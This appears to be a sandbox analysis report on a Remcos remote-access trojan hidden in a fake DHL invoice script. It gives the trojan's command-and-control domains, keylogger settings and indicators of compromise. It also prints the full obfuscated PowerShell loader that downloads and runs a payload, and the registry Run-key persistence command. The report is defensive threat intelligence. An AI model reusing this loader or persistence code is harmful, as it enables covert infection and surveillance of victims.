remcos | 56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c

Analysis

max time kernel
148s
max time network
153s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241023-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241023-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
18-11-2024 20:15

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs
Size

72KB
MD5

2c6f72e7eaa64a9c71c4bcb7443057c7
SHA1

a0b2ae9f70163e5649c56b673d2b12f69ec39714
SHA256

56f92bcf7ada15ed99e5cd14825ae94d208ccdaafb7e611dbc6035070f31948c
SHA512

19eebf6615c1c78bdb7b63ac93fb7d8c2724146575a622c5a36b59cbceb6f888e6f9ec35fe02d5dce61d552f9f59e2a75833ae085c73a2a45398f9b8384484da
SSDEEP

1536:Ft9NyhoBryzHywwruvVtpliTUEH7lNZjKu:Vr2IiNtqH7lXKu

Score

10^/10

remcos cla$$y discovery persistence rat

Malware Config

Extracted

Family

remcos

Botnet

Cla$$y

hjnourt38haoust1.duckdns.org:57484

hjnourt38haoust1.duckdns.org:57483

iwarsut775laudryed1.duckdns.org:57484

iwarsut775laudryed2.duckdns.org:57484

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
true
install_flag
false
keylog_crypt
false
keylog_file
kabnspt.dat
keylog_flag
false
keylog_path
%AppData%
mouse_option
false
mutex
shibetgtst-XSNZ2G
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
startup_value
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Blocklisted process makes network request 56 IoCs

flow	pid	Process
7	1340	WScript.exe
14	1680	powershell.exe
36	1672	msiexec.exe
40	1672	msiexec.exe
46	1672	msiexec.exe
47	1672	msiexec.exe
51	1672	msiexec.exe
52	1672	msiexec.exe
55	1672	msiexec.exe
56	1672	msiexec.exe
57	1672	msiexec.exe
58	1672	msiexec.exe
61	1672	msiexec.exe
62	1672	msiexec.exe
68	1672	msiexec.exe
69	1672	msiexec.exe
70	1672	msiexec.exe
71	1672	msiexec.exe
74	1672	msiexec.exe
75	1672	msiexec.exe
78	1672	msiexec.exe
79	1672	msiexec.exe
80	1672	msiexec.exe
81	1672	msiexec.exe
84	1672	msiexec.exe
85	1672	msiexec.exe
88	1672	msiexec.exe
89	1672	msiexec.exe
92	1672	msiexec.exe
93	1672	msiexec.exe
94	1672	msiexec.exe
95	1672	msiexec.exe
98	1672	msiexec.exe
102	1672	msiexec.exe
105	1672	msiexec.exe
106	1672	msiexec.exe
107	1672	msiexec.exe
108	1672	msiexec.exe
111	1672	msiexec.exe
112	1672	msiexec.exe
113	1672	msiexec.exe
114	1672	msiexec.exe
117	1672	msiexec.exe
118	1672	msiexec.exe
119	1672	msiexec.exe
120	1672	msiexec.exe
123	1672	msiexec.exe
124	1672	msiexec.exe
127	1672	msiexec.exe
128	1672	msiexec.exe
129	1672	msiexec.exe
130	1672	msiexec.exe
133	1672	msiexec.exe
134	1672	msiexec.exe
136	1672	msiexec.exe
137	1672	msiexec.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-641261377-2215826147-608237349-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Terminalsekvensernes = "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\\Software\\Reliberating\\').Citronsommerfugle;%Centroids% ($Jazze)"	reg.exe

Network Service Discovery 1 TTPs 2 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
1680	powershell.exe
4560	powershell.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1672	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
4560	powershell.exe
1672	msiexec.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
1340	WScript.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
3184	reg.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
1680	powershell.exe
1680	powershell.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
1672	msiexec.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
4560	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1680	powershell.exe
Token: SeDebugPrivilege	4560	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1672	msiexec.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 1680	1340	WScript.exe	84
PID 1340 wrote to memory of 1680	1340	WScript.exe	84
PID 4560 wrote to memory of 1672	4560	powershell.exe	96
PID 4560 wrote to memory of 1672	4560	powershell.exe	96
PID 4560 wrote to memory of 1672	4560	powershell.exe	96
PID 4560 wrote to memory of 1672	4560	powershell.exe	96
PID 1672 wrote to memory of 5016	1672	msiexec.exe	98
PID 1672 wrote to memory of 5016	1672	msiexec.exe	98
PID 1672 wrote to memory of 5016	1672	msiexec.exe	98
PID 5016 wrote to memory of 3184	5016	cmd.exe	100
PID 5016 wrote to memory of 3184	5016	cmd.exe	100
PID 5016 wrote to memory of 3184	5016	cmd.exe	100

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\DHL_Shipping_Invoices_Awb_BL_000000000111820242247820020031808174Global180030011182024.vbs"
1⤵
- Blocklisted process makes network request
- Checks computer location settings
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
  2⤵
  - Blocklisted process makes network request
  - Network Service Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1680

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "<#Osculates Ttningslisters Lopsided Strandrettigheders holdt Mottoer Ragtimer #><#Akvarieplanten Kagu Noncommunicating Tjenstgringer Svbers Dksplads #>$Citrullin='Wormian';function Brief($Rvehalers){If ($host.DebuggerEnabled) {$Vrdifuldere=5} for ($Tilslringernes=$Vrdifuldere;;$Tilslringernes+=6){if(!$Rvehalers[$Tilslringernes]) { break }$Fahlore+=$Rvehalers[$Tilslringernes]}$Fahlore}function Shanghaje($Cree){ .($Undfangelsernes) ($Cree)}$Behandlingshjem=Brief 'anagnnTu,ise BenzT abn.Homolw ookwEEngluB SpekC ndveLDinanISuperEIndfanU.obeT';$Fuglsangs=Brief ' jnenMSitdooFi,rozMorgeiBrnerlrent.lHalvma,veri/';$Cytocide=Brief 'LenetT,tedslTypees.kema1udlng2';$Sammensys='Frd g[TakninAccideSla kTFimre. ,ontSGenerEP eheRDasewVsubpoI roneCPharmE nslpHoll,OPon.oIToco NAspirt CikoMR olpAHedebn No caUnat.G MacaeboplerKlaph]Freds:Deut :Arb.jS ScanE verCTeateue,ektR tidiiExautt Non.YUr.thPjere,rN,ordoFugeutAptdeo R,agcKachio DearLInd a=Aniel$ edevcSka dySe,vitReadjODemimcSkaa.I FinmD Bor,E';$Fuglsangs+=Brief 'Swa d5Front.Cando0Delta Mira(LaconWBegraiDissinSimuldCoun ohydr wLyss s,ubte S.utN RuskTUdsto Neutr1terra0Orien. ntre0Indl.; Ultr ArabeWN.nteiIntegn ingy6venti4 Ansk;Fore, SkatxUrede6Sodom4Tripa;.kral AfkryrKoor,vAtten:Irone1 Doze3Neuru1Pinny.Psych0ak ie)Indeh Fr.mGYder e.igeoc Co pkEssayoReti /bravu2House0Sadde1Folke0Socia0Pigpe1Leath0Lowdo1An im Fro hFForesiAromarUnmete Sr afMultioFiskexSabre/Unpro1Forew3F ulk1Manip. G.lt0';$Signalklokke236=Brief '.olkeuPlutospreteESparerPhysa- BureA FishGIoti,eSkolenNonpat';$Fdselskontrollerne=Brief ' ilsah OpretB,whetAntelpOccipsZebra:Flles/M.sli/Skim b Tyks2partic Tr ka Monos F,rueDelti.solstcInspeoCommomRdtjr/S,mneESputnn hirio PrefdUnconaStil lReat . CultpDoe ec Var z Jubl>BredbhkolontCursotO.ervpFond sCan o: .nfu/ Kets/Caun b oral2T knocTy dsaSkrupsMod te Ant oBiblinPerisecra,e..frigcNoncooRacemmRes.s/Remo,EYdelsn AnorocoaxedHyldeaencaelGanga. T dip Ta ucFastlz';$Omskring=Brief 'Blokd>';$Undfangelsernes=Brief 'BepuriTail.ESkab X';$Loenudbetaling='Unoppugned';$Rocksangernes='\Bridlers.Skr';Shanghaje (Brief 'Se si$KlnenGUnmitlFysiooDonnebindvaa tre.lHjrve:TydeleGasniS,asypP ilieR anadeConceS rilrSUnsusoOsageefemterDjurs=Udskr$ ForfeLinikNAn imvCe eb:idmm AUnrubpgarlaPTri od appaaCala tForeraPa kw+ ivss$ orseRSt veOGlaciCGart KLifessRestraSalifn.rddegBandeE Uf rRBodl NForhaEG opyS');Shanghaje (Brief 'viske$UndivGMonopLBrnebo SnivBTidssaSolplLtideh: Filmt MassADilemiLaurbNBrnect,islouDiarrrundereBlanq= .amm$DriftFFri rdRadiosKromoEperivLTrithSbiblikCoapto heltNHjemst ChagR,habdOStempl Slidl FlavEGenneRO,ofrNBarnsEBip,n.Ant dSPrestPwordsLinsuliSkiftTPunka(Riffe$K.rtooMyti.m EmotSSkimmK lenRE plii S idNE,spogUd,pr)');Shanghaje (Brief $Sammensys);$Fdselskontrollerne=$Tainture[0];$Traadspinderierne=(Brief 'Kom.i$PelleGch.roLConvooSekulbCyc oA SlaglSnkni:upfloIscribNPraisSUnderT.nekkiBowdltSemipu ApritLilleiJa.anO IntrNPrepeI sc iSMolesEJumpesCance=m terNU shoe assewS.nki-RecipO.orbibDyrehjDisshE oofacFrabeT St g ShadeS .verY SardSOverbtNoeplEAf elmLong .Unsu $HeterBLeverEPoppehCadieaHornpnXer.tDariu l akkeI VirkNPolytgTurbosProviho eraJW ferEbadevm');Shanghaje ($Traadspinderierne);Shanghaje (Brief ' Angi$thetiITakstnInbresAgamitFrogwiCarpetEnfeeuDipott ekoniStepdo Wiven eekeiAktios o.tceAnatus Rusi. FresH Fka.eBra daStratdLinkeeBrakkrMetafs ,ema[C,cad$T aveS eatiReinfgMakvanChab.a.elbrlSuback lokklSta co,nderk lectkAnfree P ag2Fissi3 Pa t6 prec]Chari= Prob$Tr.stFhalvpuB esegSilurlBlandsEkstea SkatnEncefgDiffrs');$Tonehovedets=Brief 'synto$SmedeI orsnPhaeosBesgstTobaki Sphet ovelu oltit Ko oiBootloKrim.n DokuiRealis Serre onadsdolin.Idi mDRetsto,ondewAnticnhvirvlaxiomo edicaTjr,kdFlashFArmlniTh ghlEliz,eUnlik(Dissy$WoodbFBrom.d TilgsUnsleeTankvl,ncris SprtkUnderoVintenScufftKnokkrG mbao SkinlSla.glDiss,e,arderLithonSecereprodu,un.ve$Afbl Drangeo.riafmBlankmOrd ieJustirOv rckinte o MatenTre ltUd ivo Monerpre oe T,mirGr.tenAp gee Scar)';$Dommerkontorerne=$Espressoer;Shanghaje (Brief ' omp$UnproGLyv rlBedcao Bov,BAndenaBron l Jazz: SneddCardiOProsonKrediEPatniC Fami=Penta( An itM gtoeChir SContrTDieze- DesaPvemodaUnderTBugtsh Budg Pans$HerkidCritio yndiMHusstM artESkrmvR UdmaKChemoo Ligen lumTPreproTogstrNonsuEP,gmyRMa leNKanebEcensu)');while (!$donec) {Shanghaje (Brief 'Forsa$StueagAdjudlKalpaoDotatbRegnlaOsteolSkyde:BlomsTUni.oo elitrHesteoB ophs BiltipetritSeasoyUdlgs=Rai.f$EffigC UnmioMa hilImdegoAffalb Overo W evmTransa') ;Shanghaje $Tonehovedets;Shanghaje (Brief ' planS Ud uTSportA upplrNiltrTStran-Abiets Painl In aEPriviELabbepTergi Svigt4');Shanghaje (Brief ' Udsa$ConcegMaksilMalerOF itnb Go eALear LGenop:Re,eiDKrligo StevNForhjEEx,uscsvajm= Borg(Driv.T AfveEB raaSBronktD gma-AutomPAppanAStangtUnavoHEquiv Bepra$LkkerDD.gfaOSubroM tenam Outve UnovRd nciKUnwieo Gr dnUndertNon oOOrangrDeviaEB,emsr ModunKlerkeConli)') ;Shanghaje (Brief ' Gara$ Psy GSha gLCha,qoConstB NursaResunlBitsy:TrypsbNglerLCig ra.eartCCiffek ErnrHBesote kellAyoghurRewart VierEEfterdBrnde=P,ysi$,andsG.richlstinaO sk abTudenA restlRif j:KonfiHFolkey Di.lP AspasClandoUnnigD .umpODummeNUnaggTBogbiIBasissSynchMTwasu+L,mfe+ Lg a%Brn h$TinghTFilo ARavenIRustinThio,t InjeUHjernRKao iEForev.Para C B riOf jlpu O,gaN SprjT') ;$Fdselskontrollerne=$Tainture[$Blackhearted]}$Aktionstider=340501;$Partitionist=30721;Shanghaje (Brief ' Re o$Ku,segP rtuL AttrOD,spoBFl poaHoppelTarmr:jong aElevan baddtConciI OrgebKontriHjlpeo.edniTPsykoiBurblCHjemfA R walTy.nilEfeueYNonpu Over=U.reg B emsGAceraeSanittforma-Fli rcSkattORe tenRegedTfejltE RrlaNT irttMeetb elan$MadweDGentso TubemSalemm SprieDis,irPeafokga loOKloefnAdamaTDanubOM slir .vise Eistr Tunincui te');Shanghaje (Brief 'A ama$ischigSyn olDiakoo Mir b S avaKlipplEtymo:RestiINon bnBilled,umpsvUdstieTerm 6 eaut0ylet Diabe=Dirge Blea,[SteriSEyeliyAntidsrigertGgemgeDam imMenis. C nsC RoseomillinTankav ntioeRe.rorRulamtWauch]Enjam:Slbni:Ti srFClarer Sto o estmBaronBFortiaPantisCannaeClito6K lde4UddebS Elzetopr nrQuaggiDeem,nNoetigSkola(Slu,t$GrnseAUnwronT,tant StreiSp kebMhedsiBitteoImprot EmetiVarelcGrossa,dvisl HyldlHjnedymye o)');Shanghaje (Brief 'Reell$SpredgGabbylInforO Sam b anthADryppLBluff:FordabFreckRGal io babdPStaphi NonvL StinL.atmiESeculN AskeSGrovv Tide=D,sen Kilom[Ka kesS.ralYOzzykSTinaft Re.eESabbamChrom.S,afftCi cuec,lciXOmfanT .etr. utikeSynftNFletncpeakyoCaecudUnspeISkif nFir agTophn]Malkn:Tactl: arskA,risisBen aCKendeiReviviSt ti.PentagRiverE IderT An,iSGummitHalvtrCheatIvuggenUmindGS,rkk(Diago$ Sn sIKastanCe.trDt sseVAzonse Excu6 nder0 Maas)');Shanghaje (Brief 'Fl td$Bi.paGS eatlMembroCurviBOvertaTransLAcidi:SatirDunddrASe.acT SbefaRestrBDiluta arrasAst.oeSal.sDGodare,olyeSQ oteI DublgSegneNmaria9overs1Sensi=B ikh$Onde BDeserR ,ledOUddanP Dikti Detol Us nlSpor,EdicroNPlatysArmer.As ocS enecu Zyg,bTrow,sUkolltSt,rerYvonaiVisuaNSaetngStere( Ukul$Mar aAnedrukImpartH ndeISofa oForseN espesValutTDo.blIVulgaDArchmeGaleaRAnthr,Under$CensuP Circafej lrHarruTRiverikotyptUnce.iCoumaOContenRiggiIM rsuSOver tAppli)');Shanghaje $Databasedesign91;"
1⤵
- Network Service Discovery
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4560
- C:\Windows\SysWOW64\msiexec.exe
  "C:\Windows\SysWOW64\msiexec.exe"
  2⤵
  - Blocklisted process makes network request
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: GetForegroundWindowSpam
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1672
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:5016
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Terminalsekvensernes" /t REG_EXPAND_SZ /d "%Centroids% -windowstyle 1 $Jazze=(gp -Path 'HKCU:\Software\Reliberating\').Citronsommerfugle;%Centroids% ($Jazze)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      Modifies registry key
      PID:3184

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Network Service Discovery

T1046

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
57b72f12fcca4d125d846edcc2cbe71f

SHA1
c7a739fce1454e2d93a9945043c58cb3ea9dfdc0

SHA256
f1017803af039c8d846cb19949aa540fe28f4eacb0782adcd0335e05097991b8

SHA512
21b0bf9ef6ae2bdd99b532fd76f0a5aa8bb973a3f4488da2cf509af0eaf183f08c2724b828f420389008c226baf5a78e8806a771fd8b08efdca1fe00c093c3cd

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sa40sd22.wb4.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Bridlers.Skr

Filesize
483KB

MD5
2309a7580edbc530b896385997a75033

SHA1
9348fa8878691721ccd869bbd9db15e340b2f1d8

SHA256
1b8be45b05bb5c1b3fc63d19791984dbf84cac36042f52289e99d4cc57312f2c

SHA512
d48ee62ed79a2e396bd24e42922923dde18ce6a6daa49bf0ed9ca0dbe3d4b62c77a1b3e06a8e7da29c4e0d565391f8428457c2bbe959b708adb15344cc6d1349

Download Submit
